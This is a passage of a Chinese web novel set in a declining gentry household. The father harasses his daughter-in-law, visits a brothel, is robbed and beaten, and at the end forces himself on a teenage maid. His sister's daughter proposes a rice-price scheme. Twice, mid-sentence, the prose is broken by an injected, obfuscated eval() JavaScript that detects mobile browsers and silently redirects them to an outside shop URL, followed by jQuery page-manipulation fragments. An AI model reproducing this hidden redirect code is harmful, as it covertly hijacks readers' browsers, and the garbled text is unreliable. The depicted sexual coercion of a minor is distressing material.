他四下望望,又猫着腰蹭到窗根底下,伸出舌头濡湿指头,在新糊的窗纸上轻轻戳了个绿豆大的窟窿。
正要眯着眼往里瞧,听见有脚步声。
曹贵吓得浑身一激灵,连忙缩了脖子,贴着墙根便往外溜。走到院门口,迎面撞上一个人。
姝书见自己父亲慌慌张张从大哥曹辐院子里出来,便觉不对劲。
曹贵被她看得不自在,躲着眼神,含糊道:“多喝了几杯,走岔路了。”
姝书眼含怒气地盯着他。
曹贵被她看得发毛,往后退了半步,讪讪道:“死丫头,大半夜的不回屋去,在外头瞎逛什么。”
曹姝书从牙缝里挤出话来:“爹,女儿今日把话撂在这儿。你若敢动嫂嫂一根头发,从今往后,只当没我这个女儿。”
曹贵脸上横肉抖了抖,嘴唇翕动,耷拉下眼皮,把袖子一甩,瓮声瓮气道:“胡吣些甚么。”说罢,缩着脖子,头也不回地走了。
14. 憨哥哥误打亲爹
次日一早,新妇来给公公婆婆敬茶。辐大哥哥笑得合不拢嘴,牵着新妇的手不舍得松开。
辐大嫂嫂端起一碗茶,走到曹贵和孙夫人面前,举止温婉可人,说话也是含娇细语:“儿媳来给公公婆母敬茶,祝公婆福寿安康。”
“好好好。”孙夫人开心的合不拢嘴,连上前去接过她的茶。
她又端了一碗茶,送到曹贵跟前,说道:“公公,请喝茶。”
曹贵生的贼眉鼠眼,满脸横肉,看多了就不免让人有些反胃。
他不急着接茶,先拿眼把新妇一双纤纤玉手溜了一遍,喉结上下滚动,又抬眼去瞧那张脸,秀丽清纯,真真一朵带露的芙蓉。
新妇被他瞧得心头发紧,浑身不自在,只得又催一句:“公公,请用茶罢。”
“好,好,好……”曹贵涎着脸应着,饿眼馋涎兀自盯着那粉面桃花。
这老货伸出手来,明面上是去接茶盏,可粗糙指头却往新妇的手背上蹭去,恨不能捏住了揉搓揉搓。
厅上众人哪个不是明眼人,曹贵这老扒灰的勾当,尽收眼底,只是碍于情面,噤若寒蝉。
曹辐气坏了,一把将新妇护在身后,怒目瞪视亲爹,恨恨地一跺脚,扯着新妇衣袖,气冲冲甩袖而去。
好好一个敬茶礼,闹得这般不堪。
满堂亲戚俱在,孙氏脸上火烧火燎,只得强挤个笑纹出来打圆场:“列位亲眷见笑,我这孩儿年轻气盛,不懂事体。”
姝书紧握着拳头,看曹贵的眼神,都带着恨意,和一种无可奈何的感觉。
曹晚书瞧见她眼眶湿润,连忙上去挽着她的胳膊,试图去安慰她几句。
人散去,姝书哭着跑了出去,曹晚书连忙追过去。
跑到屋里,姝书一头扎进被子里,趴在床上痛哭起来。
曹晚书坐在床边,默默的陪着她,让她哭个痛快。
姝书呜咽着道:“有这么一个爹,真是倒了八辈子霉了!”
“妹妹,咱们总得想想事情怎么解决。”
“呜呜…,我就知道,我就知道他肯定是对大嫂嫂起了心思。我那个爹,就是色鬼投胎,整个府上但凡是有点儿姿色的丫鬟,没有一个是不被他看上的。”
她擦了擦泪,又接着道:“不瞒你说,他在外头还养了四五个粉头,七八个野种,简直就是风流阵里的急先锋。家中的钱财,也是一箱一箱的往外头送,吃喝嫖赌没有一样是他不沾的。
府上十几个姨娘,都不够他用的,竟然还惦记上自己的儿媳妇,怎就这么不知礼义廉耻。想当年祖父那一辈,家中是多么辉煌。可如今,早就闹了几年亏空了,全靠典当首饰古董过日子。不求他是个上进的,只求他能安分几日,便是我们做子女最盼望的了。你说,天底下哪有当爹的,让子女操碎心的道理?”
曹晚书明白她心中的苦楚,将她揽在自己的怀里,看着她的眼泪扑簌簌的从眼眶中掉落,越是极力想要克制,哭得却越狠。
不知怎的,曹晚书心尖也泛着酸,竟然也陪她哭了起来。
“你哭什么呀?”姝书听到她的抽泣声,忍不住问。
“看着你哭得厉害,我也忍不住哭起来了。”
姝书忽地又笑了,屁股往里挪了挪,给曹晚书留出来一个空,姐妹俩一起躺在床上。
曹晚书想起祖母之前说的话,便对她道:“一个大家族,有兴必定会有衰。三叔虽然是一个品性不好的人,但好歹辐大哥和轮二哥都是争气的。一个大家族怕的不是即将要没落,而是怕没有中兴的子女。等辐大哥哥带着嫂嫂到扬州上任后,就不用再担心这件事了。”
姝书用袖子擦了擦眼泪,侧着身子,许是听了晚书的话,心情好了很多。
但是,又有新的烦恼涌上来:“唉,我爹还想把我嫁给济州的富商,让我给那人做续弦去,可是他都已经四十多岁了。我爹是为了钱,要将我往火坑里推,我怎就如此命苦…”
静静地听她说完,曹晚书也是发自心底儿的心疼她,但不愿看到姝书这自怨自艾的模样。
“纵是三叔存了这心,婶娘定是不依的,两位哥哥更不会坐视。妹妹宽心,事未必糟到那般田地。便真是…也得给自己谋条后路,断不能稀里糊涂,任人摆布了一生。”
曹姝书紧锁的眉头舒展开来,对着晚书明亮的眼睛,忽然间笑了起来。
“你说得对,不能稀里糊涂的过一辈子。我原先是想着,既然他让我嫁,那我就嫁了吧,以后日子过得不好也都是他的错。可是听你这么一说,我才发觉,哪怕我以后日子过的不好,他这个当爹的也不会心疼我半分,反而还会从中得利,满足自己的贪欲。幸亏有你来开导我,不然真害怕以后误入歧途了。”
能够及时醒悟,没有踏进泥潭中,已经是值得庆幸的事情了。
曹晚书也开始担忧起来,自己也快到了及笄的年龄,到时候会嫁给怎样的一个人呢?
在这个男人可以纳很多小妾的时代,自己真的可以忍受以后的丈夫纳妾吗?
她不想,不想和第二个人分享自己的丈夫。
曹晚书有着二十一世纪人的思想,有时庆幸,有时却很苦恼。男人三妻四妾对于这个时代的人来说很平常,没有什么大不了的。
可是对于曹晚书来说,将来的丈夫纳妾,绝对不行。
她这个思想,可是要被冠上妒妇的名声,想想以后自己的婚后生活,曹晚书还真是有些发愁。
得应付大宅子里的勾心斗角,还得相夫教子操持家务,她真是巴不得以后削发做姑子去。
有了上回曹贵惦记儿媳妇这回事,曹辐是上了心,对这事一直耿耿于怀,寸步不离辐大嫂嫂。
曹贵几次想找机会,都没成,最后忍无可忍,只能带上几锭银子,打算骑马到花满楼,找陈行首来服侍自己。
正准备去牵马,却遇上了曹轮。
曹贵一看见他,下意识地就想背过身去躲起来。
不料还是被曹轮给看到了,曹轮走上前,问道:“爹,你牵马是要出门去?”
曹贵眼神四处乱瞧,慌乱之下随意扯了个谎:“待在家里实在是闷得慌,到外头去转转。”
曹轮抢过他手里的缰绳,又重新把马牵了回去,劝道:“外头到处都是流寇,还是别出去了,待在家里头都不一定安全,更别说是外面了。爹您都这个年纪了,难道还不明白吗。”
作为一个父亲,被自己儿子数落一通,曹贵面子上有些过不去,威声道:“行了,我知道了,你快该干什么干什么去罢!”
曹贵只好折返回去,曹轮以为他听劝了,也转身走了。
过了好一会子,曹贵悄悄地又跑到马棚里,见四下无人,欣喜之下牵了马就往大门外跑,直奔花满楼。
鸨母见是熟客曹大老爷
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202126|197234||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,又是带着足色纹银来的,自是笑脸相迎,忙不迭将花魁陈行首请了出来。
这陈行首,名唤陈娇儿,果然生得标致,柳腰轻摆,一双眼儿似能勾魂。
只是她见了曹贵这老货,心下便先生厌恶,皱纹堆垒,眼袋下垂,一双老眼在她身上骨碌碌乱转,恨不能剥了衣裳去。
陈娇儿强忍着恶心,堆起假笑,勉强应酬。
及至上了牙床,曹贵猴急地便要成就好事。陈娇儿只觉那老朽身躯压上来,气息浑浊,满心不耐,恨不得一脚踹下床去。她草草敷衍,只盼这老厌物早些了事滚蛋。
谁料曹贵得寸进尺,事毕尤嫌不足,腆着脸,一脸色迷迷道:“娇儿,且与老夫擦擦身子,松快松快。”
陈娇儿心头一阵翻江倒海,几乎要呕出来,哪里肯伺候?便推脱道:“曹大爷,奴家身子有些不爽利,前头妈妈还唤呢,您老且歇着。”说罢,便欲起身。
曹贵见她要走,如何肯依?扯住衣袖,只管歪缠。
陈娇儿柳眉倒竖,正要发作,曹贵见美人变了脸色,心下也怯了,只得讪讪地自己下床。
在花满楼厮混了半日,直到日头偏西,方才餍足,整了整衣衫,骑上马,晃晃悠悠地打道回府。
走到半路上,忽然间从一堆枯草丛里窜出来几个彪悍的大汉,把曹贵给围了起来。
这个时候还能骑马出行的人,都是非富即贵的,看他的穿着打扮就不像穷人。
几个悍匪扛着大刀,伸手问曹贵要钱。
曹贵吓坏了,连忙把剩下的几块碎银子拿出来,递到悍匪手上,慌张道:“大爷,就剩这些了,行行好,放我走吧。”
带头的悍匪低头一看,就这点钱,凶狠道:“打发叫花子呢!”
“真没有了,大爷,不信你搜,只要搜出来都算你的。”曹贵吓得腿直打颤,早知道半路会遇上打劫的,他就老老实实待在家里不出门去的。
“这可是你说的。”悍匪嘿嘿一笑,带着几个兄弟直接就把曹贵给扒了个精光,只留了个亵裤在身上,连带着马,也一并给抢走了。
曹贵还以为他们要杀了自己,躺在地上吓得尿了裤子,等反应过来时,见天已经黑了,他只好捂着□□一路狂奔回家。
终于回到家门口,见大门紧闭,曹贵猛砸了数十下门,才赶来两个小厮来开门。
开门的小厮一见曹贵这副模样,自是吓得不轻,正发愣,身上的外袍就已经被曹贵扯下来,披在了他自己身上。
曹贵披了衣服刚要跑,想想又转身回来,怒瞪着那两个小厮道:“不许把这事说出去,否则我割了你们的舌头。”
“是是是。”
曹贵把自己裹得严严实实就往内院狂奔,此时曹轮刚下值回来,见一个黑影子鬼鬼祟祟地往内院跑。
这几日外头不太平,曹轮咯噔一下,心想不妙,连忙疾步追去,一脚上去把那人踢倒在地上。
借着月色,照着那人的脸抡起拳头就是一顿狂打,打得那人嗷嗷直叫。
曹贵倒在地上疼得受不了,身上披的衣服也掉了下来。
曹轮见此人衣不蔽体,心想莫不是采花贼,家中妹妹又众多,都还住在内院里。
思及此,曹轮下手便更狠了起来,连踢带打,嘴里还骂着:“我打死你个不要脸的淫贼,竟还打起我家中妹妹们的主意了!今日叫你认得曹爷爷的拳头!”
15. 暗藏春色却非花
曹贵疼得说不出话来,用最后一丝力气,大喊道:“别打了别打了,我是你爹!”
曹轮一听这声音,连忙收手,再一仔细看,还真是自己那位老爹,曹贵。
“爹,你怎么穿成这个样子?”
“你个不孝的,敢打自己的老爹。你枉着人子皮,死后入无间地狱!哎呦喂,疼煞我也。”曹贵躺在地上指着他大骂,疼得面部狰狞,翻来覆去。
曹轮连忙把他给扶起来,将衣服捡起给他披上。
“您干什么去了,怎么弄成这个模样?这几天外头到处流寇作乱,儿子还以为家中进贼了。误打了爹,是儿子不孝。”
曹贵正在气头上,想打他几下报仇,可是却没有那个力气。又摸了一把脸,一看手上都是鲜血,他愤愤道:“你是下了死手要把我给打死啊。”
曹轮只好将曹贵扛到屋里去,孙夫人一看曹贵被打的鼻青脸肿浑身是伤,吓了一跳,赶忙放下手中的针线,走过来查验伤势。
“怎么弄得这是?”
曹贵龇牙咧嘴,指着曹轮怒道:“你问这个畜牲去罢!”
孙夫人将目光看向曹轮,曹轮也不知该如何开口,这事说来实在是难以启齿。
他只好转移话题,问她说:“娘,可还有治跌打损伤的药膏?”
“有有有,我这就去拿。”
孙夫人帮曹贵涂抹了伤口,曹贵欲要睡下,见曹轮还杵在那儿站着,不由得心下来气:“丧门星!还戳在这里做甚?等着给你老子收尸么?滚!快滚!看见你这孽障就心口疼!再待下去,老子的命迟早断送在你手里!”
曹轮被骂得抬不起头,心中五味杂陈,终究什么也没说,作了个揖,默默退了出去。
暂且按下这桩荒唐事不表。
却说次日,朝廷派来剿匪的官兵终于浩浩荡荡进了济州城。
知府衙门忙得脚不沾地,曹辐少不得也要出门应酬,接风洗尘,迎来送往。
临出门前,再三叮嘱浑家辐大嫂嫂,务必待在几位小姑子房里,万不可独自走动。辐大嫂嫂知他心意,自是点头应允。
城中百姓闻听官兵到来,初时如同久旱逢甘霖,奔走相告,只道是救星到了,从此可以安枕无忧。
家家户户虽已穷得叮当响,还是勉强凑出些米粮菜蔬,箪食壶浆,盼着军爷们吃饱喝足好去剿匪。
谁知这王师的行径,比之流寇更甚三分。流寇劫掠尚是偷偷摸摸,这官兵却是明火执仗。
他们以征粮剿匪为名,挨家挨户,砸门撬锁,翻箱倒柜,将百姓们缸底最后一点活命的口粮、梁上仅存的几串干菜、甚至炕席底下藏的二升麦种,尽数搜刮了去。
稍有迟疑或反抗,轻则鞭打脚踢,重则枷锁上身。
那些军汉,个个吃得满嘴流油,红光满面,将抢来的粮食大车小车运回营盘,口中还叫嚣着:“老子们千里迢迢来帮你们杀贼,吃你们几口粮食,那是天经地义!饿着肚子怎么打仗?”
可怜济州百姓,这几年天灾不断,收成本就稀薄,家家户户早已是糠菜半年粮。如今这点活命的指望也被夺走,当真是叫天天不应,叫地地不灵。
曹辐在衙门里,也断断续续听闻了这些事。同僚们或摇头叹息,或麻木不仁。
他看着窗外灰蒙蒙的天,想着家中老小,想着那些面黄肌瘦的街坊,心头如同压了一块巨石,沉甸甸地喘不过气。
想上陈几句,可惜人微言轻;想暗中周济,杯水车薪。
一股郁结之气堵在胸口,只觉这世道,实在是荒谬。
兵耶?匪耶?到头来,苦的都是这地皮上刨食的蝼蚁苍生。
这曹辐每日忧心忡忡,连日来为着米价腾贵之事,直是愁肠百结,寝食难安。他这忧思,如瘟病一般,也染了枕边人。
辐大嫂嫂薛氏,本是温婉和顺的性子,如今也被他带累得终日里蛾眉紧蹙,杏眼含愁,常自幽幽地叹上几口长气。
这一日,女眷们都在屋子里绣花,大家伙儿都欢声笑语的,只有辐大嫂嫂皱着眉头一言不发,于这情形显得格格不入。
曹晚书走上前去,问道:“嫂嫂,你有甚么心事?说来我们听听。”
“还能有甚么心事,官人最近为了粮食发愁,米价上涨得厉害,再这样下去,咱们家都快吃不上粮了,更别说是老百姓。”薛氏道。
姝书正在逗鸟,听后插嘴道:“种地收粮,本就是看老天爷脸色吃饭的行当。他老人家肯赏脸,风调雨顺,自然仓廪丰实。若是发起怒来,赤地千里,便是神仙也变不出米来。咱们愁死又能如何?”
这时,外面丫鬟走进来通报,说是曹辐要接薛氏回去了。
薛氏嘴角微微一笑,起身就要离开。
姝书调笑道:“果然是新婚燕尔,嫂嫂刚刚还愁呢,现在大哥哥一来,脸上都笑出花来了。”
曹辐一听,将薛氏揽在自己身后,上前去轻轻踹了姝书一脚,玩笑道:“小妮子就你嘴贫,过几年就把你给嫁出去。”
“我们帮你照看着嫂嫂,无功不说,倒还有过了?这是什么道理!”姝书两手叉腰,不服气地跟他顶嘴。
站在最后面的曹晚书并没有参与其中,反而是若有所思的,忽然抬起头来问:“辐大哥哥,小妹斗胆问一句,如今外头米价,究竟贵到几何一斗了?”
提起这个,曹辐脸上的笑意顿时敛了去,化作一片沉郁的阴云,重重叹口气,道:“唉。晚书妹子,你是不知道。如今这米比那金珠还稀罕。市面上一斗糙米,竟要八十文钱,这还只是眼前,眼瞅着还要涨。这般下去,寻常人家如何买得起?我这做一方父母官的,若连治下百姓一口饱饭都保不住,这顶官帽戴着,还有什么脸面?这几日,我与同僚们愁得头发都要白了,也寻不出个万全的法子来。”
曹晚书凝神细听,沉吟片刻,竟开口道:“小妹倒有个浅见,只不知当讲不当讲。”
曹辐只当她是闺阁女儿家随口一说,心中颇不以为然。
想他堂堂官员,与多少积年老吏商议,尚且一筹莫展,她一个未出阁的丫头片子能有何高见?
只是此刻病急乱投医,一丝微光也是好的,便耐着性子道:“妹妹有何良策,但说无妨。”
一时间,众人皆停了手中活计,目光齐刷刷聚在曹晚书身上。
晚书不紧不慢地说:“依小妹愚见,这米价,非但不能降,反倒要让它涨,涨得再厉害些才好。”
“什么?”曹辐愕然失笑,连连摇头,“好妹子,你这岂不是火上浇油?米价再涨,百姓更是连糠秕都嚼不起了,这算什么法子?”
玉书也蹙眉道:“正是这话,五妹妹,你年纪小,不知这柴米油盐的厉害,这等大事,莫要胡出主意。”
曹晚书神色镇定,不急不缓道:“哥哥姐姐们,且听我细说端详。正是要米价暴涨,消息传得越远越好!那些外地的米商,一个个都是逐利的,鼻子比狗还灵。闻听此地米贵如金,焉有不千里迢迢运米来贩卖之理?到时,市面上米粮堆积如山,看似价更高昂,实则已到了顶点。
等这米多得卖不动了,囤积久了,新米变陈米,陈米变霉米,米商们岂能不急?此时,只要大哥哥以官府名义,开仓放粮,平抑市价。那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208782|197234||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
些米商眼见官府平价售粮,唯恐自家米烂在仓里血本无归,必定争先恐后降价抛售。只要有一家开头,其余人等怕落于人后,必定蜂拥效仿,米价自然应声而落。到那时,还愁百姓无米下炊么?”
一席话,如同醍醐灌顶,又似拨云见日。
曹辐听得目瞪口呆,眼中精光爆射,猛地一拍大腿,面上又是狂喜又是羞惭,连连作揖道:“哎呀呀!晚书妹妹,你这简直就是妙计,妙啊!我怎么就没有想到。是愚兄目光短浅了,方才还笑你,妹妹千万不要见怪才是。”
曹晚书微微一笑道:“辐大哥哥言重了。能替兄长分忧,为百姓略尽绵薄,小妹心中亦是欢喜。”
她心来暗忖:幸得前世杂览群书,知晓些经济营生的道理,否则今日,怕也只能如他人一般,徒呼奈何了。
曹辐将薛氏又留在姊妹几个的院中,连夜跑出门去执行此事。
话说曹轮,不知从何处淘换来几贴上好的金疮药膏,专治跌打损伤。他本欲亲自给父亲送去,可转念一想,父亲看他不顺眼,自己去了,没准又是一顿排揎,连药都送不到跟前。
正踌躇间,抬眼瞥见院子里有个扫洒的小丫头,正在廊下躲懒吃茶。
曹轮便走过去,将那用油纸包好的药膏递给她,低声道:“这个,是治伤的好膏药,你替我悄悄送进老爷房里去。就说是……咳,就说是你孝敬的,莫提我。”
小丫头名叫柳絮,是新近才被太太买进来的,专管后院的洒扫。
她见是二爷吩咐,不敢推辞,只得接了药膏,心头惴惴地走到曹贵房外,轻轻叩了门。
“进来。”里面传来曹贵懒洋洋的声音。
听见门响,曹贵乜斜着眼瞧过去。见是个面生的小丫鬟,约莫十五六岁年纪。虽是一身粗使打扮,却掩不住那几分颜色,一张瓜子脸儿白生生的,两道细眉弯弯,尤其是一双眼睛,水汪汪、怯生生,顾盼间带有几分撩人的情致。
再仔细一打量,眉眼轮廓,与他新娶进门的儿媳薛氏有六七分相似。只是薛氏端庄,这小丫头却多了几分怯懦的风流。
只可惜了,儿媳妇被儿子整日里看的死死的,偷吃不得。面前这个丫鬟倒是也合自己胃口,凑活凑活也就得了。
曹贵起了兴致,从床上坐起身来,道:“你叫什么名字?瞧着面生得很。”
丫鬟低着头,回避着他的目光,说:“回老爷,我叫柳絮,是太太前儿刚买回来的,负责打扫院子。方才轮二爷得了几副好药膏,托我给您送进来。”
“哦~”曹贵意味深长的点了点头,“你再走过来些,让我瞧瞧是什么药膏。”
柳絮上前迈一步,双手将药膏奉上,可距离床榻的位置却还有一米多远。
“再走近来些,把药膏递在我手上。”
整个曹府上下,谁不知道曹贵的德行,柳絮虽是新来的,可也听到了一些有关于曹贵的事情。
他看自己的眼神不简单,柳絮心里有些怕,可又不能不服从主子的命令,只好走过去,把药膏放在他手上。
谁料曹贵直接丢下药膏,一把拉住柳絮的手,将她拽到了床上。
柳絮吓坏了,急着要反抗,曹贵却将他抱得紧紧的,还一脸猥琐得说道:“卿卿,当什么扫地丫鬟啊,依了我,日后抬你做姨娘,让你使唤奴才如何?”
“老爷,放开!放开!我不要做姨娘!”柳絮心中一颤,大声的喊着。
“傻丫头,你还想扫一辈子地不成,外头风吹日晒的,冻烂你这张小脸儿岂不可惜了。”曹贵嘿嘿笑着凑上去,“乖乖,让爷亲亲你这小脸蛋。”